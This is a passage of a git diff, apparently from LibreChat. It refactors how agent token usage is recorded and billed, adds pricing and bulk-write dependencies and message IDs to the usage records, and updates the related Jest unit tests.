@@ -112,6 +121,8 @@ jest.mock('~/models', () => ({
   getUserCodeFiles: jest.fn(),
   getToolFilesByIds: jest.fn(),
   getCodeGeneratedFiles: jest.fn(),
+  updateBalance: mockUpdateBalance,
+  bulkInsertTransactions: mockBulkInsertTransactions,
 }));
 
 describe('OpenAIChatCompletionController', () => {
@@ -155,7 +166,15 @@ describe('OpenAIChatCompletionController', () => {
 
       expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
       expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
-        { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
+        {
+          spendTokens: mockSpendTokens,
+          spendStructuredTokens: mockSpendStructuredTokens,
+          pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+          bulkWriteOps: {
+            insertMany: mockBulkInsertTransactions,
+            updateBalance: mockUpdateBalance,
+          },
+        },
         expect.objectContaining({
           user: 'user-123',
           conversationId: expect.any(String),
@@ -182,12 +201,18 @@ describe('OpenAIChatCompletionController', () => {
       );
     });
 
-    it('should pass spendTokens and spendStructuredTokens as dependencies', async () => {
+    it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
       await OpenAIChatCompletionController(req, res);
 
       const [deps] = mockRecordCollectedUsage.mock.calls[0];
       expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
       expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
+      expect(deps).toHaveProperty('pricing');
+      expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
+      expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
+      expect(deps).toHaveProperty('bulkWriteOps');
+      expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
+      expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
     });
 
     it('should include model from primaryConfig in recordCollectedUsage params', async () => {
diff --git a/api/server/controllers/agents/__tests__/responses.unit.spec.js b/api/server/controllers/agents/__tests__/responses.unit.spec.js
index e16ca394b2..45ec31fc68 100644
--- a/api/server/controllers/agents/__tests__/responses.unit.spec.js
+++ b/api/server/controllers/agents/__tests__/responses.unit.spec.js
@@ -106,6 +106,13 @@ jest.mock('~/models/spendTokens', () => ({
   spendStructuredTokens: mockSpendStructuredTokens,
 }));
 
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+jest.mock('~/models/tx', () => ({
+  getMultiplier: mockGetMultiplier,
+  getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
 jest.mock('~/server/controllers/agents/callbacks', () => ({
   createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
   createResponsesToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
@@ -131,6 +138,8 @@ jest.mock('~/models/Agent', () => ({
   getAgents: jest.fn().mockResolvedValue([]),
 }));
 
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
 jest.mock('~/models', () => ({
   getFiles: jest.fn(),
   getUserKey: jest.fn(),
@@ -141,6 +150,8 @@ jest.mock('~/models', () => ({
   getUserCodeFiles: jest.fn(),
   getToolFilesByIds: jest.fn(),
   getCodeGeneratedFiles: jest.fn(),
+  updateBalance: mockUpdateBalance,
+  bulkInsertTransactions: mockBulkInsertTransactions,
 }));
 
 describe('createResponse controller', () => {
@@ -184,7 +195,15 @@ describe('createResponse controller', () => {
 
       expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
       expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
-        { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
+        {
+          spendTokens: mockSpendTokens,
+          spendStructuredTokens: mockSpendStructuredTokens,
+          pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+          bulkWriteOps: {
+            insertMany: mockBulkInsertTransactions,
+            updateBalance: mockUpdateBalance,
+          },
+        },
         expect.objectContaining({
           user: 'user-123',
           conversationId: expect.any(String),
@@ -209,12 +228,18 @@ describe('createResponse controller', () => {
       );
     });
 
-    it('should pass spendTokens and spendStructuredTokens as dependencies', async () => {
+    it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
       await createResponse(req, res);
 
       const [deps] = mockRecordCollectedUsage.mock.calls[0];
       expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
       expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
+      expect(deps).toHaveProperty('pricing');
+      expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
+      expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
+      expect(deps).toHaveProperty('bulkWriteOps');
+      expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
+      expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
     });
 
     it('should include model from primaryConfig in recordCollectedUsage params', async () => {
@@ -244,7 +269,15 @@ describe('createResponse controller', () => {
 
       expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
       expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
-        { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
+        {
+          spendTokens: mockSpendTokens,
+          spendStructuredTokens: mockSpendStructuredTokens,
+          pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+          bulkWriteOps: {
+            insertMany: mockBulkInsertTransactions,
+            updateBalance: mockUpdateBalance,
+          },
+        },
         expect.objectContaining({
           user: 'user-123',
           context: 'message',
diff --git a/api/server/controllers/agents/client.js b/api/server/controllers/agents/client.js
index 49240a6b3b..0ecd62b819 100644
--- a/api/server/controllers/agents/client.js
+++ b/api/server/controllers/agents/client.js
@@ -13,11 +13,12 @@ const {
   createSafeUser,
   initializeAgent,
   getBalanceConfig,
-  getProviderConfig,
   omitTitleOptions,
+  getProviderConfig,
   memoryInstructions,
-  applyContextToAgent,
   createTokenCounter,
+  applyContextToAgent,
+  recordCollectedUsage,
   GenerationJobManager,
   getTransactionsConfig,
   createMemoryProcessor,
@@ -45,6 +46,8 @@ const {
 } = require('librechat-data-provider');
 const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
 const { encodeAndFormat } = require('~/server/services/Files/images/encode');
+const { updateBalance, bulkInsertTransactions } = require('~/models');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
 const { createContextHandlers } = require('~/app/clients/prompts');
 const { getConvoFiles } = require('~/models/Conversation');
 const BaseClient = require('~/app/clients/BaseClient');
@@ -624,82 +627,29 @@ class AgentClient extends BaseClient {
     context = 'message',
     collectedUsage = this.collectedUsage,
   }) {
-    if (!collectedUsage || !collectedUsage.length) {
-      return;
-    }
-    // Use first entry's input_tokens as the base input (represents initial user message context)
-    // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
-    const firstUsage = collectedUsage[0];
-    const input_tokens =
-      (firstUsage?.input_tokens || 0) +
-      (Number(firstUsage?.input_token_details?.cache_creation) ||
-        Number(firstUsage?.cache_creation_input_tokens) ||
-        0) +
-      (Number(firstUsage?.input_token_details?.cache_read) ||
-        Number(firstUsage?.cache_read_input_tokens) ||
-        0);
-
-    // Sum output_tokens directly from all entries - works for both sequential and parallel execution
-    // This avoids the incremental calculation that produced negative values for parallel agents
-    let total_output_tokens = 0;
-
-    for (const usage of collectedUsage) {
-      if (!usage) {
-        continue;
-      }
-
-      // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
-      const cache_creation =
-        Number(usage.input_token_details?.cache_creation) ||
-        Number(usage.cache_creation_input_tokens) ||
-        0;
-      const cache_read =
-        Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
-
-      // Accumulate output tokens for the usage summary
-      total_output_tokens += Number(usage.output_tokens) || 0;
-
-      const txMetadata = {
+    const result = await recordCollectedUsage(
+      {
+        spendTokens,
+        spendStructuredTokens,
+        pricing: { getMultiplier, getCacheMultiplier },
+        bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
+      },
+      {
+        user: this.user ?? this.options.req.user?.id,
+        conversationId: this.conversationId,
+        collectedUsage,
+        model: model ?? this.model ?? this.options.agent.model_parameters.model,
         context,
+        messageId: this.responseMessageId,
         balance,
         transactions,
-        conversationId: this.conversationId,
-        user: this.user ?? this.options.req.user?.id,
         endpointTokenConfig: this.options.endpointTokenConfig,
-        model: usage.model ?? model ?? this.model ?? this.options.agent.model_parameters.model,
-      };
+      },
+    );
 
-      if (cache_creation > 0 || cache_read > 0) {
-        spendStructuredTokens(txMetadata, {
-          promptTokens: {
-            input: usage.input_tokens,
-            write: cache_creation,
-            read: cache_read,
-          },
-          completionTokens: usage.output_tokens,
-        }).catch((err) => {
-          logger.error(
-            '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending structured tokens',
-            err,
-          );
-        });
-        continue;
-      }
-      spendTokens(txMetadata, {
-        promptTokens: usage.input_tokens,
-        completionTokens: usage.output_tokens,
-      }).catch((err) => {
-        logger.error(
-          '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending tokens',
-          err,
-        );
-      });
+    if (result) {
+      this.usage = result;
     }
-
-    this.usage = {
-      input_tokens,
-      output_tokens: total_output_tokens,
-    };
   }
 
   /**
@@ -891,9 +841,10 @@ class AgentClient extends BaseClient {
         config.signal = null;
       };
 
+      const hideSequentialOutputs = config.configurable.hide_sequential_outputs;
       await runAgents(initialMessages);
       /** @deprecated Agent Chain */
-      if (config.configurable.hide_sequential_outputs) {
+      if (hideSequentialOutputs) {
         this.contentParts = this.contentParts.filter((part, index) => {
           // Include parts that are either:
           // 1. At or after the finalContentStart index
@@ -1147,6 +1098,7 @@ class AgentClient extends BaseClient {
         model: clientOptions.model,
         balance: balanceConfig,
         transactions: transactionsConfig,
+        messageId: this.responseMessageId,
       }).catch((err) => {
         logger.error(
           '[api/server/controllers/agents/client.js #titleConvo] Error recording collected usage',
@@ -1185,6 +1137,7 @@ class AgentClient extends BaseClient {
           model,
           context,
           balance,
+          messageId: this.responseMessageId,
           conversationId: this.conversationId,
           user: this.user ?? this.options.req.user?.id,
           endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1203,6 +1156,7 @@ class AgentClient extends BaseClient {
             model,
             balance,
             context: 'reasoning',
+            messageId: this.responseMessageId,
             conversationId: this.conversationId,
             user: this.user ?? this.options.req.user?.id,
             endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1218,7 +1172,11 @@ class AgentClient extends BaseClient {
     }
   }
 
+  /** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */
   getEncoding() {
+    if (this.model && this.model.toLowerCase().includes('claude')) {
+      return 'claude';
+    }
     return 'o200k_base';
   }
 
diff --git a/api/server/controllers/agents/client.test.js b/api/server/controllers/agents/client.test.js
index 9dd3567047..42481e1644 100644
--- a/api/server/controllers/agents/client.test.js
+++ b/api/server/controllers/agents/client.test.js
@@ -263,6 +263,7 @@ describe('AgentClient - titleConvo', () => {
         transactions: {
           enabled: true,
         },
+        messageId: 'response-123',
       });
     });
 
diff --git a/api/server/controllers/agents/openai.js b/api/server/controllers/agents/openai.js
index b334580eb1..e8561f15fe 100644
--- a/api/server/controllers/agents/openai.js
+++ b/api/server/controllers/agents/openai.js
@@ -25,6 +25,7 @@ const { loadAgentTools, loadToolsForExecution } = require('~/server/services/Too
 const { createToolEndCallback } = require('~/server/controllers/agents/callbacks');
 const { findAccessibleResources } = require('~/server/services/PermissionService');
 const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
 const { getConvoFiles } = require('~/models/Conversation');
 const { getAgent, getAgents } = require('~/models/Agent');
 const db = require('~/models');
@@ -129,7 +130,6 @@ const OpenAIChatCompletionController = async (req, res) => {
   const appConfig = req.config;
   const requestStartTime = Date.now();
 
-  // Validate request
   const validation = validateRequest(req.body);
   if (isChatCompletionValidationFailure(validation)) {
     return sendErrorResponse(res, 400, validation.error);
@@ -150,20 +150,20 @@ const OpenAIChatCompletionController = async (req, res) => {
     );
   }
 
-  // Generate IDs
-  const requestId = `chatcmpl-${nanoid()}`;
+  const responseId = `chatcmpl-${nanoid()}`;
   const conversationId = request.conversation_id ?? nanoid();
   const parentMessageId = request.parent_message_id ?? null;
   const created = Math.floor(Date.now() / 1000);
 
+  /** @type {import('@librechat/api').OpenAIResponseContext} — key must be `requestId` to match the type used by createChunk/buildNonStreamingResponse */
   const context = {
     created,
-    requestId,
+    requestId: responseId,
     model: agentId,
   };
 
   logger.debug(
-    `[OpenAI API] Request ${requestId} started for agent ${agentId}, stream: ${request.stream}`,
+    `[OpenAI API] Response ${responseId} started for agent ${agentId}, stream: ${request.stream}`,
   );
 
   // Set up abort controller
@@ -450,11 +450,11 @@ const OpenAIChatCompletionController = async (req, res) => {
       agents: [primaryConfig],
       messages: formattedMessages,
       indexTokenCountMap,
-      runId: requestId,
+      runId: responseId,
       signal: abortController.signal,
       customHandlers: handlers,
       requestBody: {
-        messageId: requestId,
+        messageId: responseId,
         conversationId,
       },
       user: { id: userId },
@@ -471,6 +471,10 @@ const OpenAIChatCompletionController = async (req, res) => {
         thread_id: conversationId,
         user_id: userId,
         user: createSafeUser(req.user),
+        requestBody: {
+          messageId: responseId,
+          conversationId,
+        },
         ...(userMCPAuthMap != null && { userMCPAuthMap }),
       },
       signal: abortController.signal,
@@ -490,12 +494,18 @@ const OpenAIChatCompletionController = async (req, res) => {
     const balanceConfig = getBalanceConfig(appConfig);
     const transactionsConfig = getTransactionsConfig(appConfig);
     recordCollectedUsage(
-      { spendTokens, spendStructuredTokens },
+      {
+        spendTokens,
+        spendStructuredTokens,
+        pricing: { getMultiplier, getCacheMultiplier },
+        bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+      },
       {
         user: userId,
         conversationId,
         collectedUsage,
         context: 'message',
+        messageId: responseId,
         balance: balanceConfig,
         transactions: transactionsConfig,
         model: primaryConfig.model || agent.model_parameters?.model,
@@ -509,7 +519,7 @@ const OpenAIChatCompletionController = async (req, res) => {
     if (isStreaming) {
       sendFinalChunk(handlerConfig);
       res.end();
-      logger.debug(`[OpenAI API] Request ${requestId} completed in ${duration}ms (streaming)`);
+      logger.debug(`[OpenAI API] Response ${responseId} completed in ${duration}ms (streaming)`);
 
       // Wait for artifact processing after response ends (non-blocking)
       if (artifactPromises.length > 0) {
@@ -548,7 +558,9 @@ const OpenAIChatCompletionController = async (req, res) => {
         usage,
       );
       res.json(response);
-      logger.debug(`[OpenAI API] Request ${requestId} completed in ${duration}ms (non-streaming)`);
+      logger.debug(
+        `[OpenAI API] Response ${responseId} completed in ${duration}ms (non-streaming)`,
+      );
     }
   } catch (error) {
     const errorMessage = error instanceof Error ? error.message : 'An error occurred';
diff --git a/api/server/controllers/agents/recordCollectedUsage.spec.js b/api/server/controllers/agents/recordCollectedUsage.spec.js
index 6904f2ed39..21720023ca 100644
--- a/api/server/controllers/agents/recordCollectedUsage.spec.js
+++ b/api/server/controllers/agents/recordCollectedUsage.spec.js
@@ -2,23 +2,37 @@
  * Tests for AgentClient.recordCollectedUsage
  *
  * This is a critical function that handles token spending for agent LLM calls.
- * It must correctly handle:
- * - Sequential execution (single agent with tool calls)
- * - Parallel execution (multiple agents with independent inputs)
- * - Cache token handling (OpenAI and Anthropic formats)
+ * The client now delegates to the TS recordCollectedUsage from @librechat/api,
+ * passing pricing and bulkWriteOps deps.
  */
 
 const { EModelEndpoint } = require('librechat-data-provider');
 
-// Mock dependencies before requiring the module
 const mockSpendTokens = jest.fn().mockResolvedValue();
 const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
+const mockRecordCollectedUsage = jest
+  .fn()
+  .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
 
 jest.mock('~/models/spendTokens', () => ({
   spendTokens: (...args) => mockSpendTokens(...args),
   spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
 }));
 
+jest.mock('~/models/tx', () => ({
+  getMultiplier: mockGetMultiplier,
+  getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
+jest.mock('~/models', () => ({
+  updateBalance: mockUpdateBalance,
+  bulkInsertTransactions: mockBulkInsertTransactions,
+}));
+
 jest.mock('~/config', () => ({
   logger: {
     debug: jest.fn(),
@@ -39,6 +53,14 @@ jest.mock('@librechat/agents', () => ({
   }),
 }));
 
+jest.mock('@librechat/api', () => {
+  const actual = jest.requireActual('@librechat/api');
+  return {
+    ...actual,
+    recordCollectedUsage: (...args) => mockRecordCollectedUsage(...args),
+  };
+});
+
 const AgentClient = require('./client');
 
 describe('AgentClient - recordCollectedUsage', () => {
@@ -74,31 +96,66 @@ describe('AgentClient - recordCollectedUsage', () => {
   });
 
   describe('basic functionality', () => {
-    it('should return early if collectedUsage is empty', async () => {
+    it('should delegate to recordCollectedUsage with full deps', async () => {
+      const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+
+      await client.recordCollectedUsage({
+        collectedUsage,
+        balance: { enabled: true },
+        transactions: { enabled: true },
+      });
+
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+      const [deps, params] = mockRecordCollectedUsage.mock.calls[0];
+
+      expect(deps).toHaveProperty('spendTokens');
+      expect(deps).toHaveProperty('spendStructuredTokens');
+      expect(deps).toHaveProperty('pricing');
+      expect(deps.pricing).toHaveProperty('getMultiplier');
+      expect(deps.pricing).toHaveProperty('getCacheMultiplier');
+      expect(deps).toHaveProperty('bulkWriteOps');
+      expect(deps.bulkWriteOps).toHaveProperty('insertMany');
+      expect(deps.bulkWriteOps).toHaveProperty('updateBalance');
+
+      expect(params).toEqual(
+        expect.objectContaining({
+          user: 'user-123',
+          conversationId: 'convo-123',
+          collectedUsage,
+          context: 'message',
+          balance: { enabled: true },
+          transactions: { enabled: true },
+        }),
+      );
+    });
+
+    it('should not set this.usage if collectedUsage is empty (returns undefined)', async () => {
+      mockRecordCollectedUsage.mockResolvedValue(undefined);
+
       await client.recordCollectedUsage({
         collectedUsage: [],
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).not.toHaveBeenCalled();
-      expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
       expect(client.usage).toBeUndefined();
     });
 
-    it('should return early if collectedUsage is null', async () => {
+    it('should not set this.usage if collectedUsage is null (returns undefined)', async () => {
+      mockRecordCollectedUsage.mockResolvedValue(undefined);
+
       await client.recordCollectedUsage({
         collectedUsage: null,
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).not.toHaveBeenCalled();
       expect(client.usage).toBeUndefined();
     });
 
-    it('should handle single usage entry correctly', async () => {
-      const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+    it('should set this.usage from recordCollectedUsage result', async () => {
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 75 });
+      const collectedUsage = [{ input_tokens: 200, output_tokens: 75, model: 'gpt-4' }];
 
       await client.recordCollectedUsage({
         collectedUsage,
@@ -106,521 +163,122 @@ describe('AgentClient - recordCollectedUsage', () => {
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({
-          conversationId: 'convo-123',
-          user: 'user-123',
-          model: 'gpt-4',
-        }),
-        { promptTokens: 100, completionTokens: 50 },
-      );
-      expect(client.usage.input_tokens).toBe(100);
-      expect(client.usage.output_tokens).toBe(50);
-    });
-
-    it('should skip null entries in collectedUsage', async () => {
-      const collectedUsage = [
-        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
-        null,
-        { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+      expect(client.usage).toEqual({ input_tokens: 200, output_tokens: 75 });
     });
   });
 
   describe('sequential execution (single agent with tool calls)', () => {
-    it('should calculate tokens correctly for sequential tool calls', async () => {
-      // Sequential flow: output of call N becomes part of input for call N+1
-      // Call 1: input=100, output=50
-      // Call 2: input=150 (100+50), output=30
-      // Call 3: input=180 (150+30), output=20
+    it('should pass all usage entries to recordCollectedUsage', async () => {
       const collectedUsage = [
         { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
         { input_tokens: 150, output_tokens: 30, model: 'gpt-4' },
         { input_tokens: 180, output_tokens: 20, model: 'gpt-4' },
       ];
 
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 100 });
+
       await client.recordCollectedUsage({
         collectedUsage,
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(3);
-      // Total output should be sum of all output_tokens: 50 + 30 + 20 = 100
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+      const [, params] = mockRecordCollectedUsage.mock.calls[0];
+      expect(params.collectedUsage).toHaveLength(3);
       expect(client.usage.output_tokens).toBe(100);
-      expect(client.usage.input_tokens).toBe(100); // First entry's input
+      expect(client.usage.input_tokens).toBe(100);
     });
   });
 
   describe('parallel execution (multiple agents)', () => {
-    it('should handle parallel agents with independent input tokens', async () => {
-      // Parallel agents have INDEPENDENT input tokens (not cumulative)
-      // Agent A: input=100, output=50
-      // Agent B: input=80, output=40 (different context, not 100+50)
+    it('should pass parallel agent usage to recordCollectedUsage', async () => {
       const collectedUsage = [
         { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
         { input_tokens: 80, output_tokens: 40, model: 'gpt-4' },
       ];
 
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 90 });
+
       await client.recordCollectedUsage({
         collectedUsage,
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-      // Expected total output: 50 + 40 = 90
-      // output_tokens must be positive and should reflect total output
+      expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+      expect(client.usage.output_tokens).toBe(90);
       expect(client.usage.output_tokens).toBeGreaterThan(0);
     });
 
-    it('should NOT produce negative output_tokens for parallel execution', async () => {
-      // Critical bug scenario: parallel agents where second agent has LOWER input tokens
+    /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */
+    it('should NOT produce negative output_tokens', async () => {
       const collectedUsage = [
         { input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
         { input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
       ];
 
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
+
       await client.recordCollectedUsage({
         collectedUsage,
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      // output_tokens MUST be positive for proper token tracking
       expect(client.usage.output_tokens).toBeGreaterThan(0);
-      // Correct value should be 100 + 30 = 130
-    });
-
-    it('should calculate correct total output for parallel agents', async () => {
-      // Three parallel agents with independent contexts
-      const collectedUsage = [
-        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
-        { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' },
-        { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(3);
-      // Total output should be 50 + 60 + 40 = 150
-      expect(client.usage.output_tokens).toBe(150);
-    });
-
-    it('should handle worst-case parallel scenario without negative tokens', async () => {
-      // Extreme case: first agent has very high input, subsequent have low
-      const collectedUsage = [
-        { input_tokens: 1000, output_tokens: 500, model: 'gpt-4' },
-        { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
-        { input_tokens: 50, output_tokens: 25, model: 'gpt-4' },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      // Must be positive, should be 500 + 50 + 25 = 575
-      expect(client.usage.output_tokens).toBeGreaterThan(0);
-      expect(client.usage.output_tokens).toBe(575);
+      expect(client.usage.output_tokens).toBe(130);
     });
   });
 
   describe('real-world scenarios', () => {
-    it('should correctly sum output tokens for sequential tool calls with growing context', async () => {
-      // Real production data: Claude Opus with multiple tool calls
-      // Context grows as tool results are added, but output_tokens should only count model generations
+    it('should correctly handle sequential tool calls with growing context', async () => {
       const collectedUsage = [
-        {
-          input_tokens: 31596,
-          output_tokens: 151,
-          total_tokens: 31747,
-          input_token_details: { cache_read: 0, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 35368,
-          output_tokens: 150,
-          total_tokens: 35518,
-          input_token_details: { cache_read: 0, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 58362,
-          output_tokens: 295,
-          total_tokens: 58657,
-          input_token_details: { cache_read: 0, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 112604,
-          output_tokens: 193,
-          total_tokens: 112797,
-          input_token_details: { cache_read: 0, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 257440,
-          output_tokens: 2217,
-          total_tokens: 259657,
-          input_token_details: { cache_read: 0, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
+        { input_tokens: 31596, output_tokens: 151, model: 'claude-opus-4-5-20251101' },
+        { input_tokens: 35368, output_tokens: 150, model: 'claude-opus-4-5-20251101' },
+        { input_tokens: 58362, output_tokens: 295, model: 'claude-opus-4-5-20251101' },
+        { input_tokens: 112604, output_tokens: 193, model: 'claude-opus-4-5-20251101' },
+        { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus-4-5-20251101' },
       ];
 
+      mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 3006 });
+
       await client.recordCollectedUsage({
         collectedUsage,
         balance: { enabled: true },
         transactions: { enabled: true },
       });
 
-      // input_tokens should be first entry's input (initial context)
       expect(client.usage.input_tokens).toBe(31596);
-
-      // output_tokens should be sum of all model outputs: 151 + 150 + 295 + 193 + 2217 = 3006
-      // NOT the inflated value from incremental calculation (338,559)
       expect(client.usage.output_tokens).toBe(3006);
-
-      // Verify spendTokens was called for each entry with correct values
-      expect(mockSpendTokens).toHaveBeenCalledTimes(5);
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        1,
-        expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
-        { promptTokens: 31596, completionTokens: 151 },
-      );
-      expect(mockSpendTokens).toHaveBeenNthCalledWith(
-        5,
-        expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
-        { promptTokens: 257440, completionTokens: 2217 },
-      );
     });
 
-    it('should handle single followup message correctly', async () => {
-      // Real production data: followup to the above conversation
-      const collectedUsage = [
-        {
-          input_tokens: 263406,
-          output_tokens: 257,
-          total_tokens: 263663,
-          input_token_details: { cache_read: 0, cache_creation: 0 },
-          model: 'claude-opus-4-5-20251101',
-        },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      expect(client.usage.input_tokens).toBe(263406);
-      expect(client.usage.output_tokens).toBe(257);
-
-      expect(mockSpendTokens).toHaveBeenCalledTimes(1);
-      expect(mockSpendTokens).toHaveBeenCalledWith(
-        expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
-        { promptTokens: 263406, completionTokens: 257 },
-      );
-    });
-
-    it('should ensure output_tokens > 0 check passes for BaseClient.sendMessage', async () => {
-      // This verifies the fix for the duplicate token spending bug
-      // BaseClient.sendMessage checks: if (usage != null && Number(usage[this.outputTokensKey]) > 0)
-      const collectedUsage = [
-        {
-          input_tokens: 31596,
-          output_tokens: 151,
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 35368,
-          output_tokens: 150,
-          model: 'claude-opus-4-5-20251101',
-        },
-      ];
-
-      await client.recordCollectedUsage({
-        collectedUsage,
-        balance: { enabled: true },
-        transactions: { enabled: true },
-      });
-
-      const usage = client.getStreamUsage();
-
-      // The check that was failing before the fix
-      expect(usage).not.toBeNull();
-      expect(Number(usage.output_tokens)).toBeGreaterThan(0);
-
-      // Verify correct value
-      expect(usage.output_tokens).toBe(301); // 151 + 150
-    });
-
-    it('should correctly handle cache tokens with multiple tool calls', async () => {
-      // Real production data: Claude Opus with cache tokens (prompt caching)
-      // First entry has cache_creation, subsequent entries have cache_read
+    it('should correctly handle cache tokens', async () => {
       const collectedUsage = [
         {
           input_tokens: 788,
           output_tokens: 163,
-          total_tokens: 951,
           input_token_details: { cache_read: 0, cache_creation: 30808 },
           model: 'claude-opus-4-5-20251101',
         },
-        {
-          input_tokens: 3802,
-          output_tokens: 149,
-          total_tokens: 3951,
-          input_token_details: { cache_read: 30808, cache_creation: 768 },
-          model: 'claude-opus-4-5-20251101',
-        },
-        {
-          input_tokens: 26808,
-          output_tokens: 225,
-          total_tokens: 27033,
